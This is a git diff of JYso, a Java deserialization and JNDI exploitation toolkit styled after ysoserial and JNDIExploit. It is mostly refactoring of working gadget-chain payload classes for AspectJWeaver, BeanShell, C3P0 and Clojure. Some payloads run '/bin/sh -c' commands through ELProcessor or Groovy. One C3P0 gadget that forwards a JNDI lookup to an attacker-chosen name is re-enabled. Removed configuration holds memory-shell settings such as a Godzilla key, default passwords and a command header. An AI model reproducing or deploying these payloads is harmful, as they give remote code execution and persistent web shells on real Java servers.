diff --git a/README.md b/README.md index 84fb79d..c10cbaa 100644 --- a/README.md +++ b/README.md @@ -1,16 +1,16 @@ -

- +

+

-

JYso

+

JYso

-

- - - +

+ + + -

可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能

+

可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能

-

中文文档 | English

+

中文文档 | English

## 🚀 上手指南 @@ -53,7 +53,7 @@ ## ✨ CTStack - + JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区 diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index d418aea..c80222c 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -5,7 +5,6 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.InjShell; import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.qi4l.JYso.template.Meterpreter; diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java index a852c36..48f0db7 100644 --- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -18,7 +18,7 @@ import java.rmi.server.Operation; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.util.*; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class RMIBindExploit { diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java index 7462522..c6e03cc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java @@ -11,11 +11,11 @@ import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.HashSet; import java.util.Map; +import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; + + /** * Gadget chain: * HashSet.readObject() @@ -37,10 +37,9 @@ import java.util.Map; * ... */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings("unused") @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({Authors.JANG}) - public class AspectJWeaver implements ObjectPayload { public Serializable getObject(String command) throws Exception { @@ -52,49 +51,14 @@ public class AspectJWeaver implements ObjectPayload { String[] parts = command.split(":"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - HashSet map = new HashSet(1); - map.add("QI4L"); - Field f; - try { - f = HashSet.class.getDeclaredField("map"); - } catch (NoSuchFieldException e) { - f = HashSet.class.getDeclaredField("backingMap"); - } - Reflections.setAccessible(f); - HashMap innimpl = (HashMap) f.get(map); - - Field f2; - try { - f2 = HashMap.class.getDeclaredField("table"); - } catch (NoSuchFieldException e) { - f2 = HashMap.class.getDeclaredField("elementData"); - } - - Reflections.setAccessible(f2); - Object[] array = (Object[]) f2.get(innimpl); - - Object node = array[0]; - if (node == null) { - node = array[1]; - } - - Field keyField; - try { - keyField = node.getClass().getDeclaredField("key"); - } catch (Exception e) { - keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); - } - - Reflections.setAccessible(keyField); - keyField.set(node, entry); - - return map; + return getSerializableCC6(entry); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java index a227b06..d244ee3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java @@ -22,7 +22,7 @@ import java.util.Map; * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"unused"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({Authors.QI4L}) public class AspectJWeaver2 implements ObjectPayload { @@ -37,31 +37,38 @@ public class AspectJWeaver2 implements ObjectPayload { String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); - - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Factory ft = new ConstantFactory(content); Transformer ct = new FactoryTransformer(ft); - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - HashSet map = new HashSet(1); + + return getSerializableCC6(entry); + + } + + static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { + HashSet map = new HashSet<>(1); map.add("QI4L"); - Field f = null; + Field f; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { + //noinspection JavaReflectionMemberAccess f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); - HashMap innimpl = (HashMap) f.get(map); + HashMap innimpl = (HashMap) f.get(map); - Field f2 = null; + Field f2; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { + //noinspection JavaReflectionMemberAccess f2 = HashMap.class.getDeclaredField("elementData"); } @@ -73,7 +80,7 @@ public class AspectJWeaver2 implements ObjectPayload { node = array[1]; } - Field keyField = null; + Field keyField; try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception e) { @@ -84,6 +91,5 @@ public class AspectJWeaver2 implements ObjectPayload { keyField.set(node, entry); return map; - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java index b483ffc..24bf54f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java @@ -16,7 +16,7 @@ import java.util.PriorityQueue; * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.beanshell:bsh:2.0b5"}) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 implements ObjectPayload { @@ -30,10 +30,10 @@ public class BeanShell1 implements ObjectPayload { InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + Object[] queue = {1, 1}; Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); + Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java index ebf23fc..a3bc795 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java @@ -14,7 +14,7 @@ import java.util.PriorityQueue; * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.beanshell:bsh:2.0b1"}) @Authors({Authors.KILLER}) public class BeanShell2 implements ObjectPayload { @@ -28,10 +28,10 @@ public class BeanShell2 implements ObjectPayload { setu.invoke(i, "bsh.cwd", "."); i.eval(payload); - Class xthis = Class.forName("bsh.XThis"); - Field handlerField = xthis.getDeclaredField("invocationHandler"); + Class xThis = Class.forName("bsh.XThis"); + Field handlerField = xThis.getDeclaredField("invocationHandler"); handlerField.setAccessible(true); - Constructor xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class); + Constructor xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class); xthisDeclaredConstructor.setAccessible(true); Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); handlerField.setAccessible(true); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java index 1f66d3c..f51aea6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java @@ -6,14 +6,11 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Reflections; -import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.PrintWriter; -import java.sql.SQLException; -import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; /** @@ -30,6 +27,7 @@ import java.util.logging.Logger; * @author mbechler */ +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) @Authors({Authors.MBECHLER}) public class C3P0 implements ObjectPayload { @@ -60,33 +58,33 @@ public class C3P0 implements ObjectPayload { this.url = url; } - public Reference getReference() throws NamingException { + public Reference getReference() { return new Reference("exploit", this.className, this.url); } - public PrintWriter getLogWriter() throws SQLException { + public PrintWriter getLogWriter() { return null; } - public void setLogWriter(PrintWriter out) throws SQLException { + public void setLogWriter(PrintWriter out) { } - public int getLoginTimeout() throws SQLException { + public int getLoginTimeout() { return 0; } - public void setLoginTimeout(int seconds) throws SQLException { + public void setLoginTimeout(int seconds) { } - public Logger getParentLogger() throws SQLFeatureNotSupportedException { + public Logger getParentLogger() { return null; } - public PooledConnection getPooledConnection() throws SQLException { + public PooledConnection getPooledConnection() { return null; } - public PooledConnection getPooledConnection(String user, String password) throws SQLException { + public PooledConnection getPooledConnection(String user, String password) { return null; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P02.java b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java index 645e95d..0b838c8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P02.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P02.java @@ -7,15 +7,12 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Reflections; import org.apache.naming.ResourceRef; -import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.PrintWriter; -import java.sql.SQLException; -import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue; @@ -25,6 +22,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 */ +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) @Authors({Authors.QI4L}) public class C3P02 implements ObjectPayload { @@ -50,36 +48,36 @@ public class C3P02 implements ObjectPayload { this.cmd = cmd; } - public Reference getReference() throws NamingException { + public Reference getReference() { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "QI4L=eval")); ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); return ref; } - public PrintWriter getLogWriter() throws SQLException { + public PrintWriter getLogWriter() { return null; } - public void setLogWriter(PrintWriter out) throws SQLException { + public void setLogWriter(PrintWriter out) { } - public int getLoginTimeout() throws SQLException { + public int getLoginTimeout() { return 0; } - public void setLoginTimeout(int seconds) throws SQLException { + public void setLoginTimeout(int seconds) { } - public Logger getParentLogger() throws SQLFeatureNotSupportedException { + public Logger getParentLogger() { return null; } - public PooledConnection getPooledConnection() throws SQLException { + public PooledConnection getPooledConnection() { return null; } - public PooledConnection getPooledConnection(String user, String password) throws SQLException { + public PooledConnection getPooledConnection(String user, String password) { return null; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P03.java b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java index 3e1bdaa..e54b341 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P03.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P03.java @@ -7,21 +7,19 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Reflections; import org.apache.naming.ResourceRef; -import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.PrintWriter; -import java.sql.SQLException; -import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; /** * 同 C3P0 2 只不过使用了 Groovy */ +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) @Authors({Authors.QI4L}) public class C3P03 implements ObjectPayload { @@ -42,36 +40,36 @@ public class C3P03 implements ObjectPayload { this.cmd = cmd; } - public Reference getReference() throws NamingException { + public Reference getReference() { ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); return ref; } - public PrintWriter getLogWriter() throws SQLException { + public PrintWriter getLogWriter() { return null; } - public void setLogWriter(PrintWriter out) throws SQLException { + public void setLogWriter(PrintWriter out) { } - public int getLoginTimeout() throws SQLException { + public int getLoginTimeout() { return 0; } - public void setLoginTimeout(int seconds) throws SQLException { + public void setLoginTimeout(int seconds) { } - public Logger getParentLogger() throws SQLFeatureNotSupportedException { + public Logger getParentLogger() { return null; } - public PooledConnection getPooledConnection() throws SQLException { + public PooledConnection getPooledConnection() { return null; } - public PooledConnection getPooledConnection(String user, String password) throws SQLException { + public PooledConnection getPooledConnection(String user, String password) { return null; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java index ae22e51..d76cec8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java @@ -8,7 +8,6 @@ import com.qi4l.JYso.gadgets.utils.HexUtils; import com.qi4l.JYso.gadgets.utils.Reflections; import org.apache.naming.ResourceRef; -import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; @@ -18,8 +17,6 @@ import java.io.IOException; import java.io.PrintWriter; import java.nio.file.Files; import java.nio.file.Paths; -import java.sql.SQLException; -import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; /** @@ -42,6 +39,7 @@ import java.util.logging.Logger; * C3P04 'jndi-ldap://x.x.x.x/evil' */ +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) @Authors({Authors.QI4L}) public class C3P04 implements ObjectPayload { @@ -70,7 +68,7 @@ public class C3P04 implements ObjectPayload { this.cmd = cmd; } - public Reference getReference() throws NamingException { + public Reference getReference() { String yaml = ""; @@ -127,29 +125,29 @@ public class C3P04 implements ObjectPayload { return ref; } - public PrintWriter getLogWriter() throws SQLException { + public PrintWriter getLogWriter() { return null; } - public void setLogWriter(PrintWriter out) throws SQLException { + public void setLogWriter(PrintWriter out) { } - public int getLoginTimeout() throws SQLException { + public int getLoginTimeout() { return 0; } - public void setLoginTimeout(int seconds) throws SQLException { + public void setLoginTimeout(int seconds) { } - public Logger getParentLogger() throws SQLFeatureNotSupportedException { + public Logger getParentLogger() { return null; } - public PooledConnection getPooledConnection() throws SQLException { + public PooledConnection getPooledConnection() { return null; } - public PooledConnection getPooledConnection(String user, String password) throws SQLException { + public PooledConnection getPooledConnection(String user, String password) { return null; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java index 8559e4b..9f54b3e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java @@ -9,14 +9,11 @@ import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; -import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.PrintWriter; -import java.sql.SQLException; -import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; @@ -24,6 +21,7 @@ import java.util.logging.Logger; * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 */ +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) @Authors({Authors.MBECHLER}) public class C3P092 implements ObjectPayload { @@ -56,42 +54,42 @@ public class C3P092 implements ObjectPayload { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - private String className; + private final String className; - private String url; + private final String url; public PoolSource(String className, String url) { this.className = className; this.url = url; } - public Reference getReference() throws NamingException { + public Reference getReference() { return new Reference("exploit", this.className, this.url); } - public PrintWriter getLogWriter() throws SQLException { + public PrintWriter getLogWriter() { return null; } - public void setLogWriter(PrintWriter out) throws SQLException { + public void setLogWriter(PrintWriter out) { } - public int getLoginTimeout() throws SQLException { + public int getLoginTimeout() { return 0; } - public void setLoginTimeout(int seconds) throws SQLException { + public void setLoginTimeout(int seconds) { } - public Logger getParentLogger() throws SQLFeatureNotSupportedException { + public Logger getParentLogger() { return null; } - public PooledConnection getPooledConnection() throws SQLException { + public PooledConnection getPooledConnection() { return null; } - public PooledConnection getPooledConnection(String user, String password) throws SQLException { + public PooledConnection getPooledConnection(String user, String password) { return null; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java index f13c811..90d3761 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java @@ -9,16 +9,12 @@ import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Authors({Authors.UNAM4}) public class C3P0JDBC implements ObjectPayload { - //private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - // "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - // "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" + - // "$$\n"; @Override public Object getObject(String command) throws Exception { - if (!command.toLowerCase().startsWith("jdbc:")) { throw new Exception("Command format is: eviljdbcurl"); } @@ -36,7 +32,7 @@ public class C3P0JDBC implements ObjectPayload { valfield.setAccessible(true); valfield.set(val, jsonArray); - HashMap hashMap = new HashMap(); + HashMap hashMap = new HashMap<>(); hashMap.put(o, val); return hashMap; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java index 8851a48..067c365 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java @@ -9,6 +9,7 @@ import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Authors({Authors.UNAM4}) public class C3P0JNDI implements ObjectPayload { @@ -33,7 +34,7 @@ public class C3P0JNDI implements ObjectPayload { valfield.setAccessible(true); valfield.set(val, jsonArray); - HashMap hashMap = new HashMap(); + HashMap hashMap = new HashMap<>(); hashMap.put(o, val); return hashMap; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java index 9c8bfce..502d8d2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java @@ -9,6 +9,7 @@ import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; +@SuppressWarnings({"unused"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Authors({Authors.UNAM4}) public class C3P0JNDI2 implements ObjectPayload { @@ -32,7 +33,7 @@ public class C3P0JNDI2 implements ObjectPayload { valfield.setAccessible(true); valfield.set(val, jsonArray); - HashMap hashMap = new HashMap(); + HashMap hashMap = new HashMap<>(); hashMap.put(o, val); return hashMap; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java index b46cdfe..0bef7c8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java @@ -1,13 +1,15 @@ package com.qi4l.JYso.gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; + +@SuppressWarnings({"rawtypes", "unused"}) public class C3P0RefDataSource implements ObjectPayload { @Override public Object getObject(String command) throws Exception { -// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); -// // requires ordering -// Reflections.setFieldValue(obj, "jndiName", command); -// Reflections.setFieldValue(obj, "loginTimeout", 0); -// return obj; - return null; + Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); + // requires ordering + Reflections.setFieldValue(obj, "jndiName", command); + Reflections.setFieldValue(obj, "loginTimeout", 0); + return obj; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java index 6828e9c..77d6a5a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java @@ -14,6 +14,7 @@ import java.lang.reflect.InvocationTargetException; import java.net.URI; import java.util.Hashtable; +@SuppressWarnings({"unused"}) public class C3P0WrapperConnPool implements ObjectPayload { public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, IOException { @@ -33,7 +34,7 @@ public class C3P0WrapperConnPool implements ObjectPayload { @Override public Object getObject(String command) throws Exception { URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1])); return obj; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Click1.java b/src/main/java/com/qi4l/JYso/gadgets/Click1.java index 5a9d383..53f4fc2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Click1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Click1.java @@ -45,7 +45,7 @@ import java.util.PriorityQueue; * by @artsploit */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) @Authors({Authors.ARTSPLOIT}) public class Click1 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java index 0183d87..96e78d6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java @@ -28,6 +28,7 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions */ +@SuppressWarnings({"unused"}) @Dependencies({"org.clojure:clojure:1.8.0"}) @Authors({JACKOFMOSTTRADES}) public class Clojure implements ObjectPayload> { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 4e378a6..b59b3bd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -62,28 +62,6 @@ public class Config { public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; //是否使用反射绕过RASP public static Boolean IS_OBSCURE = false; - // 各种方式的内存马映射的路径 - public static String URL_PATTERN = "/qi4l"; - // 是否使用落地文件的方式隐藏内存马 - public static Boolean HIDE_MEMORY_SHELL = false; - // 是否生成内存马文件 - public static Boolean GEN_MEM_SHELL = false; - // 内存马文件名 - public static String GEN_MEM_SHELL_FILENAME = ""; - // 落地文件姿势,1 charsets.jar 2 classes - public static int HIDE_MEMORY_SHELL_TYPE = 0; - // 内存马的密码MD5 - public static String PASSWORD = "0f359740bd1cda99"; - // Referer 校验 - public static String HEADER_KEY = "Referer"; - // 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/ - public static String HEADER_VALUE = "https://QI4L.cn/"; - // 哥斯拉的 key,默认是 key - public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; - // 密码原文 - public static String PASSWORD_ORI = "p@ssw0rd"; - // 命令执行回显时,传递执行命令的 Header 头 - public static String CMD_HEADER_STRING = "X-Token-Data"; // 是否在序列化数据流中的 TC_RESET 中填充脏数据 public static Boolean IS_DIRTY_IN_TC_RESET = false; public static Boolean IS_UTF_Bypass = false; @@ -103,30 +81,9 @@ public class Config { // ScriptEngineManager 是否为 RHINO 引擎 public static boolean USING_RHINO = false; public static ClassPool POOL = ClassPool.getDefault(); - // 不同类型内存马的父类/接口与其关键参数的映射 - public static HashMap KEY_METHOD_MAP = new HashMap<>(); @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") private static boolean help = false; - static { - // Servlet 型内存马,关键方法 service - KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); - // Filter 型内存马,关键方法 doFilter - KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); - // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle - KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); - // Websocket 型内存马,关键方法 onMessage - KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); - // Tomcat Upgrade 型内存马,关键方法 accept - KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); - // Tomcat Executor 型内存马,关键方法 execute - KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); - // Spring Interceptor 型内存马,关键方法 preHandle - KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); - // Webflux 内存马 - KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload"); - } - @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"}) public static void applyCmdArgs(String[] args) { //process cmd args @@ -183,23 +140,6 @@ public class Config { Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; } - public static void init() { - // Servlet 型内存马,关键方法 service - KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); - // Filter 型内存马,关键方法 doFilter - KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); - // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 